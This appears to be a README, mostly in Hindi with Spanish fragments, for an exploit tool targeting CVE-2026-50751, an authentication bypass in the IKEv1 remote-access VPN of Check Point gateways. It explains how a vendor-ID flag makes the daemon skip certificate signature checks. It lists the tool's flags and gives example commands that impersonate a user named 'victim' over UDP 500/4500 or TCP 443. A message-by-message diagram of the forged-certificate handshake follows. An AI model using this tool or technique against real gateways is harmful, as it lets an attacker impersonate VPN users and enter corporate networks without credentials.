
Check Point की Remote-Access VPN (IKEv1) में प्रमाणपत्र प्रमाणीकरण बायपास।
Check Point की Remote-Access VPN (IKEv1) में प्रमाणपत्र-आधारित प्रमाणीकरण का बायपास।
CVE-2026-50751, Check Point के iked डेमॉन में एक प्रमाणीकरण बायपास है, जो R81.10, R82 और R82.10 संस्करणों में hotfix sk185033 के बिना मौजूद है। यह दोष किसी भी provisioned Remote Access उपयोगकर्ता के रूप में बिना निजी कुंजी, बिना पासवर्ड और बिना वैध प्रमाणपत्र के प्रमाणित होने की अनुमति देता है।
कमजोर iked, Vendor ID VPNExtFeatures (bit 0x4) से एक flag पढ़ता है और, यदि यह सक्रिय है, तो verify_peer_auth / verifyMessagePhase1 को छोड़ देता है। परिणामस्वरूप:
प्रमाणपत्र के हस्ताक्षर (प्रमाण-स्वामित्व) की जाँच नहीं होती।
विश्वास श्रृंखला (trust chain) की जाँच नहीं होती।
केवल यह जाँचा जाता है कि subject DN किसी provisioned उपयोगकर्ता में resolve होता है।
एक स्व-हस्ताक्षरित प्रमाणपत्र बनाना पर्याप्त है जिसका CN= लक्षित उपयोगकर्ता से मेल खाता हो और उसे अमान्य हस्ताक्षर के साथ भेजना। यदि gateway phase 1 स्वीकार कर लेता है, तो हम उस उपयोगकर्ता के रूप में प्रमाणित हो चुके हैं (ISAKMP SA उसके DN के अंतर्गत सहेजा जाता है)।
यह IKE (UDP 500/4500) पर और Visitor Mode (TCPT, TCP 443) पर काम करता है।
सिंटैक्स
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Flag | विवरण | डिफ़ॉल्ट |
|---|
-host | gateway का IP या hostname (अनिवार्य) | — |
-user | प्रतिरूपित किया जाने वाला RA Username (अनिवार्य) | — |
-port | पोर्ट: 500, 4500 (UDP) या 443 (TCPT) | 500 |
-org | ICA का संगठन (O=)। यदि छोड़ा जाए, तो TLS cert से प्राप्त किया जाता है | — |
-ou | उपयोगकर्ता की संगठनात्मक इकाई (OU=) | users |
-timeout | प्रति ऑपरेशन टाइमआउट | 6s |
-retries | msg1 के पुनःप्रयास | 1 |
-v | विस्तृत आउटपुट | false |
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v
Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │